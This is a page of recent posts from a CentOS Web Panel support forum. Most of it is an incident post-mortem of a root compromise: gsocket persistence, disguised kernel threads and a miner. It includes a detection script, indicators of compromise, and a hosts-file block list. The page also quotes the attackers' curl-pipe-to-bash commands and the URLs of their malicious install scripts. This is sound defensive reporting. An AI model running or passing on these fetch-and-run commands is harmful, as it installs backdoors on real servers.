Recent Posts

Pages: 1 2 3 [4] 5 6 ... 10
31
CentOS 9 Problems / DNS Manager error: Type A (IP)
« Last post by André Bastos on October 08, 2026, 04:40:33 PM »
Hi guys,

There is an error when adding a DNS zone of type A (IP) in the client panel:

"Your DNS zone is experiencing errors, your DNS service has not been update!"

response :
{"result":"error","msj":"invalid field: flag"}

Does anyone have a quick fix? It’s been several days, and clients are complaining.

32
CentOS-WebPanel Bugs / Re: "login" user
« Last post by overseer on October 08, 2026, 02:02:38 PM »
Quote from: comokoko on June 18, 2026, 07:50:38 PM
Code: [Select]
check /home dir if this dirs exists: (login chromeuser) delete:
sudo chattr -R -i /home/login
sudo chattr -R -i /home/chromeuser
rm -rf /home/login
rm -rf /home/chromeuser
Note that the "login" user is a legitimate CWP user created by the "cwpphp" package. The default user home is /home/login but doesn't exist by default. Shell assignment is /sbin/nologin. So yes, do check if something is trojaning files in /home/login, but don't delete the "login" user. If you delete the login user, you could open yourself up to 502 Gateway errors with Roundcube or other CWP services.
33
CentOS-WebPanel Bugs / Re: I think there is a very serious security vulnerability in CWP right now.
« Last post by overseer on October 08, 2026, 01:56:47 PM »
Quote from: iswap on June 13, 2026, 01:30:36 PM
- Creates users. Random letters or something similar, such as __user, user__, login, imunify. Check—there is a .ssh directory inside.
Just to clear up for the record, the user "login" is a legitimate CWP-created user -- it is created with the package "cwpphp". If you delete the user and re-install the cwpphp package, it will recreate the "login" user.
34
CentOS-WebPanel Bugs / Proxy template does not enable access logs
« Last post by adrianofnatal on October 08, 2026, 01:31:24 PM »
Hi!

I created a proxy template for NodeJS apps based on original proxy template from server and enable access logs.
The template applyed successfuly but the log lines was automatically commented.
The apps does not log acess logs this way!

Why? How can I bypass and enable access logs?

Thanks!


35
CentOS-WebPanel Bugs / Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
« Last post by adrianofnatal on October 08, 2026, 01:28:15 PM »
Totally frustrating.

I don't know if was on that port.
I have ALL panel ports blocked except 2304 and 2087 that is blocked for all IPs except my IP in our datacenter's firewall and got comprimised.

There is another hole.

36
CentOS-WebPanel Bugs / Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
« Last post by Wonder on October 07, 2026, 11:38:25 PM »
Quote from: overseer on October 07, 2026, 10:35:11 PM
Okay, I'll post the post-mortem here. This is just one of my CWP servers -- none of the others were affected. I caught a hacker (via root's shell history) executing root commands on one of my CWP servers (running up-to-date CWP on AlmaLinux 8 with all current updates installed).
.
The initial entry script was to download and run this script (containing Indonesian/Malaysian comments):

Code: [Select]
curl -s https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/install.sh | bashHacker was planting php files at /home/*/public_html/404.php for all accounts. Another indication of compromise was test123zz files in the web roots for all accounts. Also, the server was running a fake kernel thread:
Code: [Select]
[card0-crtc8] /memfd:[card0-crtc8] (deleted)After first noticing, I would kill this thread after a reboot. This was the way to hide a gsocket initialization and enable persistence. At some point after a few hours, the CPU on the server spikes to 100% and makes the server inaccessible, forcing a reboot.

The Malaysian hacker's obvious work was injecting casino advertising into a Drupal web site I have. It serves up a different sitemap if the visitor is a bot/crawler. I removed it from the live site (easy to spot given the root ownership of the live site files):
Code: [Select]
[root]# ls -al /home/username/public_html/web/
drwxrwxrwx 3 root root 43 Sep 20 11:37 bundles
drwxrwxrwx 3 root root 32 Sep 20 11:37 cdn-cgi
drwxrwxrwx 4 root root 111 Sep 20 11:37 Content
drwxrwxrwx 3 root root 20 Sep 20 11:31 d2rzzcn1jnr24x.cloudfront.net
-rw-r--r-- 1 root root 53 Sep 21 07:29 googleXXXXXXXX.html
-rw-r--r-- 1 root root 53 Sep 23 23:28 googleXXXXXXXX.html.gwtkTmp
-rw-rw-rw- 1 root root 8031 Sep 21 07:22 .htaccess
drwxrwxrwx 2 root root 4096 Sep 22 16:46 img
-rw-r--r-- 1 root root 81186 Sep 22 15:46 locations.php
-rw-r--r-- 1 root root 9021 Sep 21 07:38 sitemap.xmlThe hacker tried to make it harder to remove the files by making them root owned, immutable and append-only attributes.
At this point,, the server's CSF firewall had been dropped for more than a week because it would block all inbound connections, creating a DoS. Also amavis & clamav was going nuts (100% CPU) so I had to disable those, too. [This was after the initial hacker entry, so it didn't seem to matter by then -- he has gsocket persistence and root access.]

Next, I found that the hacker had disabled PasswordAuthentication for SSH. He also enabled key based authentication for root, where I had root login disabled (I saw this as a sed command in root's shell history). I still had a root CWP Admin session, so I was able to edit the /etc/ssh/sshd_config file in File Manager and then restart the SSH daemon.

Next it seemed as if a second wave was hitting -- the easily identified "defunct" gsocket connection hit:
Code: [Select]
[root]# /usr/local/bin/find_fake_threads
[+] Starting scan for masqueraded kernel threads...
PID PPID COMMAND EXE_PATH
8861 1 sshd: overseer [priv] /usr/sbin/sshd
925 1 [watchdogd] /usr/bin/defunct
I killed the /usr/bin/defunct file, disabled the service, rm'd it, removed root authorized keys and newly-added keypair. I then ran CWP's hacker check script: /usr/local/cwpsrv/htdocs/resources/scripts/temp_hacker_check This seemed as though this is a new infection or competing hacker, because this was clearly a new 2nd wave. Tthe hacker thought he is safe from overview because history was supposedly disabled, but I was able to look at root's history and see his overnight maneuvers.

After a few days (traveling) I was finally able to really dissect the install scripts I caught the hacker installing and work through them:
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/install.sh
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/cek-domain.sh https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/user.sh
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/gs.sh

Based on language comments in the install scripts, hacker appears to be Indonesian/Malaysian. Appears to be a member of "The Hacking Club" (or THC).

IOC: Check for user named "kyytamine" and added to group assignments (root, wheel). Look to see if "apache" user has a password and home assignment.
Adds keys to /root/.ssh/authorized_keys
Adds himself as a sudoer. Check /etc/sudoers and /etc/sudoers.d/
Creates test files: test123zz files in /tmp and then in web roots are a clear IOC.

In my case, it was not the "defunct" service he installed for persistence (apart from that brief secondary infection), rather it comes from a randomized list of possibilities and mine was auth-policykit service. Possible service names for persistence, picked from a random array in his install script:
Code: [Select]
"systemd-hwdb-update" "network-core" "auth-policykit" "ssh-agent-proxy" "journald-forwarder"
which in turn point to possible binary names:
Code: [Select]
"udevd-sync" "netd" "firewallctl" "bootcfg" "authd"
Several of these were 0 bytes and lived in /usr/sbin (so I am assuming they were red herrings)-- but for me it was /usr/sbin/bootcfg that was the malicious file (an encoded binary, I think produced by a perl crypter). I killed the running binary, disabled & removed the malicious systemd service:
Code: [Select]
/usr/lib/systemd/system/auth-policykit.service
/etc/systemd/system/multi-user.target.wants/auth-policykit.service[/b]

After reboot, there was no more persistence -- no more fake kernel thread:
[code]"[card0-crtc8] /memfd:[card0-crtc8] (deleted)"And even these fake kernel thread names are very random, chosen during install:
Code: [Select]
"sshd:" "[kthreadd]" "[kstrp]" "[watchdogd]" "[ksmd]" "[kswapd0]" "[card0-crtc8]" "[mm_percpu_wq]" "[rcu_preempt]" "[kworker]" "[raid5wq]" "[slub_flushwq]" "[netns]" "[kaluad]"
I blocked both GitHub and THC domains in my /etc/hosts file -- so these scripts can't be as easily downloaded and a test resolver of gs.thc.org in the install scrip fails:
Code: [Select]
127.0.0.1 raw.githubusercontent.com
127.0.0.1 github.com
127.0.0.1 gs.thc.org
127.0.0.1 thc.orgSo, that wave was dealt with. Then it seemed as if I was running an unintentional CWP gsocket honeypot. The next night a different hacker ran this:
Code: [Select]
curl https://memek.cc/c.sh | bash
So back to the crux of the issue: port 2304 was open and the original hacker had effectively disabled CSF by doing something in the kernel that pertained to ipt_state/xt_state, so CSF would no longer start up. So to keep the server accessible, I couldn't run the firewall. CSF was failing:
Code: [Select]
"Testing ipt_state/xt_state...FAILED [FATAL Error: Warning: Extension state revision 0 not supported, missing kernel module?] - Required for csf to function"I discovered the hacker had altered /etc/dnf/dnf.conf to disable kernel updates, so I wasn't receiving the latest AlmaLinux kernel that had been released Oct 1:
Code: [Select]
4.18.0-553.170.1.el8_10.x86_64The file /etc/dnf/dnf.con was unwritable, I couldn't delete it or write to it even though it didn't have any attributes set (like +a or +i). I was able to move the whole /etc/dnf directory to /.trash and then re-create dnf.conf. After that, then I was able to install the new, unaltered kernel, reboot, and finally activate CSF (version 15.10 Aetherinox fork). So NOW I finally have CSF enabled and port 2304 blocked. Server is back to nominal now.

Thank you very much for taking the time to publish such a detailed post-mortem. This is extremely valuable, especially since we appear to have encountered a very similar GSocket persistence mechanism.

After comparing your findings with the forensic evidence preserved from our affected AlmaLinux 8/CWP server, I can confirm several very specific matches:

- **Systemd persistence:** `/usr/lib/systemd/system/auth-policykit.service`
- **Malicious executable:** `/usr/sbin/netd`
- **Disguised process:** `[kstrp]`, running as root with PPID 1
- **In-memory executable:** `/proc/925/exe -> /memfd:[kstrp] (deleted)`
- **GSocket indicator:** `GSOCKET_CONFIG` found in strings extracted from the preserved executable
- **Outbound connection:** `212.132.98.170:443`, associated with the suspicious process

Interestingly, your analysis identifies `netd` as one of the possible randomly selected executable names, and `[kstrp]` as one of the possible fake kernel thread names. Both were present on our server.

We preserved the malicious service definition and binaries before removing the persistence mechanism. The relevant SHA256 hashes are:

- `netd`: `98553b468575a601203470d4013727dc4154d161a2054ccd572faf98aebff324`
- Preserved `[kstrp]` memfd executable: `9fb6cbd55e44c38abd8c289587d132bc8e3c12efd3d29296149fcd0104031e1a`

Your `find_fake_threads` script is also a useful detection approach. In our case, the distinction between the malicious `[kstrp]` process with PPID 1 and the legitimate kernel thread with PPID 2 was particularly important.

We checked for the `kyytamine` account and related sudo entries, without finding them. We also checked for `test123zz` files and examined the `404.php` files found in our web directories; those were legitimate older vBulletin files rather than the malicious files described in your report.

There is one important difference in our timeline: we had previously identified an OMRIG/XMRig mining infection involving `146.103.45.130`, followed by the GSocket-style persistence described above. We cannot yet establish whether both stages were performed by the same attacker.

We also managed to retrieve and examine the original malicious `omrig.sh` installer during our initial investigation. However, we deleted our local copy afterward as a precaution, so unfortunately we no longer have the script available for comparison.

We subsequently attempted to retrieve it again from `146.103.45.130`, but the server now refuses connections on TCP port 80 from both of our VPSs.

As a result, we cannot currently compare that original installer with the Kyy-Shell scripts you identified.

Regarding the initial entry point, we preserved the CWP External API logs, including `2304_access_log` and `cwp_api.log`. They contain suspicious activity involving `/v1/backup`, `/v1/addemail/`, and `/v1/endtransf/`, including shell commands embedded in API-related operations.

**Did you find any corresponding API requests or suspicious entries in `cwp_api.log` around the time of your initial compromise?**

That comparison could help determine whether we are looking at the same entry point, rather than only the same post-exploitation toolkit.

Port 2304 is now blocked from public access on our affected servers.

Thanks again for sharing the scripts, indicators and remediation details. Your post-mortem has helped us connect several pieces of evidence that previously appeared to be separate.
37
CentOS-WebPanel Bugs / Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
« Last post by Freespirits_GR_Host on October 07, 2026, 10:47:31 PM »
If you think you have the same compromise, I wouldn't start deleting files yet. First confirm whether the indicators actually match and preserve enough evidence to understand what happened.
Start with the running processes and network activity:
ps auxf
ss -plant
ss -lntp
Then check for processes whose executable has already been deleted:
find /proc/[0-9]*/exe -lname '*deleted*' -ls 2>/dev/null
Check systemd services/timers, root and user cron jobs, unfamiliar SSH keys and especially suspicious names such as systemd-logind-helpers, polkitd-helpers and dbus-monitor-srv.
If CWP API port 2304 is publicly accessible and you don't need it, close it. If you do need the API, restrict it to the specific trusted IPs that require access.
Preserve /usr/local/cwpsrv/logs/2304_access_log and /var/log/cwp/cwp_api.log before cleaning anything, and look around the compromise timestamp for /v1/backup or other unexpected API calls.

If you post the suspicious process names, services and relevant log lines—with passwords/API keys removed—we can compare the indicators before deciding what should be removed.
Full disclosure: I'm the developer of the CWP7 Security Audit Module. I built it specifically to help identify compromise and persistence indicators on CWP servers, so it can be useful for the verification stage here. But I would preserve and examine the evidence first rather than simply running a cleanup and assuming the machine is safe.
38
CentOS-WebPanel Bugs / Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
« Last post by overseer on October 07, 2026, 10:40:17 PM »
Here's a script for discovering fake kernel threads (note that it regards SSH connections as suspicious, but good to check those, too):
Code: [Select]
#!/usr/bin/env bash
# ==============================================================================
# find_fake_threads.sh
# Detects masqueraded user-space processes mimicking Linux kernel threads.
# Legitimate kernel threads have a PPID of 2 (kthreadd) or 0.
# ==============================================================================

# Ensure the script is run as root to access all /proc paths
if [[ $EUID -ne 0 ]]; then
   echo "[-] Error: This script must be run as root (sudo)." 1>&2
   exit 1
fi

echo "======================================================================"
echo "[+] Starting scan for masqueraded kernel threads..."
echo "======================================================================"
echo -e "PID\tPPID\tCOMMAND\tEXE_PATH"
echo "----------------------------------------------------------------------"

# Counter for suspicious processes
found_suspicious=0

# Iterate through all running processes
for pid in /proc/[0-9]*/; do
    pid=${pid%/}; pid=${pid##*/}

    # Extract process name, removing surrounding parentheses from stat file
    comm=$(cat "/proc/$pid/comm" 2>/dev/null)
    stat_file="/proc/$pid/stat"

    if [ ! -f "$stat_file" ]; then
        continue
    fi

    # Read PPID from the 4th field of /proc/<pid>/stat
    ppid=$(awk '{print $4}' "$stat_file" 2>/dev/null)
    cmdline=$(tr '\0' ' ' < "/proc/$pid/cmdline" 2>/dev/null)

    # Fallback to comm if cmdline is empty
    if [ -z "$cmdline" ]; then
        cmdline="[$comm]"
    fi

    # Check if the process name looks like a kernel thread (wrapped in brackets or matching names)
    # or if the raw cmdline attempts to mimic standard target threads
    if [[ "$cmdline" =~ \[.*\] ]] || [[ "$comm" == "card0-crtc8" ]] || [[ "$comm" == "kswapd0" ]]; then
        # Real kernel threads must have PPID 2 or 0
        if [ "$ppid" -ne 2 ] && [ "$ppid" -ne 0 ]; then
            found_suspicious=$((found_suspicious + 1))

            # Resolve executable target path
            exe_path=$(readlink "/proc/$pid/exe" 2>/dev/null)
            if [ -z "$exe_path" ]; then
                exe_path="[Permission Denied / No Exe Link]"
            fi

            echo -e "${pid}\t${ppid}\t${cmdline:0:40}\t${exe_path}"
        fi
    fi
done

echo "----------------------------------------------------------------------"
if [ "$found_suspicious" -eq 0 ]; then
    echo "[+] Scan complete: No fake kernel thread processes detected."
else
    echo "[-] Scan complete: Found ${found_suspicious} suspicious user-space thread(s)."
    echo "[!] Action Required: Investigate the paths above. Malicious binaries running out of memory will often display 'memfd: / (deleted)'."
fi
echo "======================================================================"
Also consider installing whowatch:
Code: [Select]
dnf install whowatch
39
CentOS-WebPanel Bugs / Re: Possible CWP security issue - root compromise, OMRIG miner and port 2304 exposed
« Last post by overseer on October 07, 2026, 10:35:11 PM »
Okay, I'll post the post-mortem here. This is just one of my CWP servers -- none of the others were affected. I caught a hacker (via root's shell history) executing root commands on one of my CWP servers (running up-to-date CWP on AlmaLinux 8 with all current updates installed).
.
The initial entry script was to download and run this script (containing Indonesian/Malaysian comments):

Code: [Select]
curl -s https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/install.sh | bashHacker was planting php files at /home/*/public_html/404.php for all accounts. Another indication of compromise was test123zz files in the web roots for all accounts. Also, the server was running a fake kernel thread:
Code: [Select]
[card0-crtc8] /memfd:[card0-crtc8] (deleted)After first noticing, I would kill this thread after a reboot. This was the way to hide a gsocket initialization and enable persistence. At some point after a few hours, the CPU on the server spikes to 100% and makes the server inaccessible, forcing a reboot.

The Malaysian hacker's obvious work was injecting casino advertising into a Drupal web site I have. It serves up a different sitemap if the visitor is a bot/crawler. I removed it from the live site (easy to spot given the root ownership of the live site files):
Code: [Select]
[root]# ls -al /home/username/public_html/web/
drwxrwxrwx 3 root root 43 Sep 20 11:37 bundles
drwxrwxrwx 3 root root 32 Sep 20 11:37 cdn-cgi
drwxrwxrwx 4 root root 111 Sep 20 11:37 Content
drwxrwxrwx 3 root root 20 Sep 20 11:31 d2rzzcn1jnr24x.cloudfront.net
-rw-r--r-- 1 root root 53 Sep 21 07:29 googleXXXXXXXX.html
-rw-r--r-- 1 root root 53 Sep 23 23:28 googleXXXXXXXX.html.gwtkTmp
-rw-rw-rw- 1 root root 8031 Sep 21 07:22 .htaccess
drwxrwxrwx 2 root root 4096 Sep 22 16:46 img
-rw-r--r-- 1 root root 81186 Sep 22 15:46 locations.php
-rw-r--r-- 1 root root 9021 Sep 21 07:38 sitemap.xmlThe hacker tried to make it harder to remove the files by making them root owned, immutable and append-only attributes.
At this point,, the server's CSF firewall had been dropped for more than a week because it would block all inbound connections, creating a DoS. Also amavis & clamav was going nuts (100% CPU) so I had to disable those, too. [This was after the initial hacker entry, so it didn't seem to matter by then -- he has gsocket persistence and root access.]

Next, I found that the hacker had disabled PasswordAuthentication for SSH. He also enabled key based authentication for root, where I had root login disabled (I saw this as a sed command in root's shell history). I still had a root CWP Admin session, so I was able to edit the /etc/ssh/sshd_config file in File Manager and then restart the SSH daemon.

Next it seemed as if a second wave was hitting -- the easily identified "defunct" gsocket connection hit:
Code: [Select]
[root]# /usr/local/bin/find_fake_threads
[+] Starting scan for masqueraded kernel threads...
PID PPID COMMAND EXE_PATH
8861 1 sshd: overseer [priv] /usr/sbin/sshd
925 1 [watchdogd] /usr/bin/defunct
I killed the /usr/bin/defunct file, disabled the service, rm'd it, removed root authorized keys and newly-added keypair. I then ran CWP's hacker check script: /usr/local/cwpsrv/htdocs/resources/scripts/temp_hacker_check This seemed as though this is a new infection or competing hacker, because this was clearly a new 2nd wave. Tthe hacker thought he is safe from overview because history was supposedly disabled, but I was able to look at root's history and see his overnight maneuvers.

After a few days (traveling) I was finally able to really dissect the install scripts I caught the hacker installing and work through them:
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/install.sh
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/cek-domain.sh https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/user.sh
https://raw.githubusercontent.com/freyarion25/Kyy-Shell/refs/heads/main/gs.sh

Based on language comments in the install scripts, hacker appears to be Indonesian/Malaysian. Appears to be a member of "The Hacking Club" (or THC).

IOC: Check for user named "kyytamine" and added to group assignments (root, wheel). Look to see if "apache" user has a password and home assignment.
Adds keys to /root/.ssh/authorized_keys
Adds himself as a sudoer. Check /etc/sudoers and /etc/sudoers.d/
Creates test files: test123zz files in /tmp and then in web roots are a clear IOC.

In my case, it was not the "defunct" service he installed for persistence (apart from that brief secondary infection), rather it comes from a randomized list of possibilities and mine was auth-policykit service. Possible service names for persistence, picked from a random array in his install script:
Code: [Select]
"systemd-hwdb-update" "network-core" "auth-policykit" "ssh-agent-proxy" "journald-forwarder"
which in turn point to possible binary names:
Code: [Select]
"udevd-sync" "netd" "firewallctl" "bootcfg" "authd"
Several of these were 0 bytes and lived in /usr/sbin (so I am assuming they were red herrings)-- but for me it was /usr/sbin/bootcfg that was the malicious file (an encoded binary, I think produced by a perl crypter). I killed the running binary, disabled & removed the malicious systemd service:
Code: [Select]
/usr/lib/systemd/system/auth-policykit.service
/etc/systemd/system/multi-user.target.wants/auth-policykit.service[/b]

After reboot, there was no more persistence -- no more fake kernel thread:
[code]"[card0-crtc8] /memfd:[card0-crtc8] (deleted)"And even these fake kernel thread names are very random, chosen during install:
Code: [Select]
"sshd:" "[kthreadd]" "[kstrp]" "[watchdogd]" "[ksmd]" "[kswapd0]" "[card0-crtc8]" "[mm_percpu_wq]" "[rcu_preempt]" "[kworker]" "[raid5wq]" "[slub_flushwq]" "[netns]" "[kaluad]"
I blocked both GitHub and THC domains in my /etc/hosts file -- so these scripts can't be as easily downloaded and a test resolver of gs.thc.org in the install scrip fails:
Code: [Select]
127.0.0.1 raw.githubusercontent.com
127.0.0.1 github.com
127.0.0.1 gs.thc.org
127.0.0.1 thc.orgSo, that wave was dealt with. Then it seemed as if I was running an unintentional CWP gsocket honeypot. The next night a different hacker ran this:
Code: [Select]
curl https://memek.cc/c.sh | bash
So back to the crux of the issue: port 2304 was open and the original hacker had effectively disabled CSF by doing something in the kernel that pertained to ipt_state/xt_state, so CSF would no longer start up. So to keep the server accessible, I couldn't run the firewall. CSF was failing:
Code: [Select]
"Testing ipt_state/xt_state...FAILED [FATAL Error: Warning: Extension state revision 0 not supported, missing kernel module?] - Required for csf to function"I discovered the hacker had altered /etc/dnf/dnf.conf to disable kernel updates, so I wasn't receiving the latest AlmaLinux kernel that had been released Oct 1:
Code: [Select]
4.18.0-553.170.1.el8_10.x86_64The file /etc/dnf/dnf.con was unwritable, I couldn't delete it or write to it even though it didn't have any attributes set (like +a or +i). I was able to move the whole /etc/dnf directory to /.trash and then re-create dnf.conf. After that, then I was able to install the new, unaltered kernel, reboot, and finally activate CSF (version 15.10 Aetherinox fork). So NOW I finally have CSF enabled and port 2304 blocked. Server is back to nominal now.
40
Other / CVE's for servers, not just CWP
« Last post by Starburst on October 07, 2026, 05:46:38 PM »
There are several CVE's that just came out for ImageMagic and SSH that can lead to command line injection.

They can be found at:
https://sysadmin.help/viewforum.php?f=42
Pages: 1 2 3 [4] 5 6 ... 10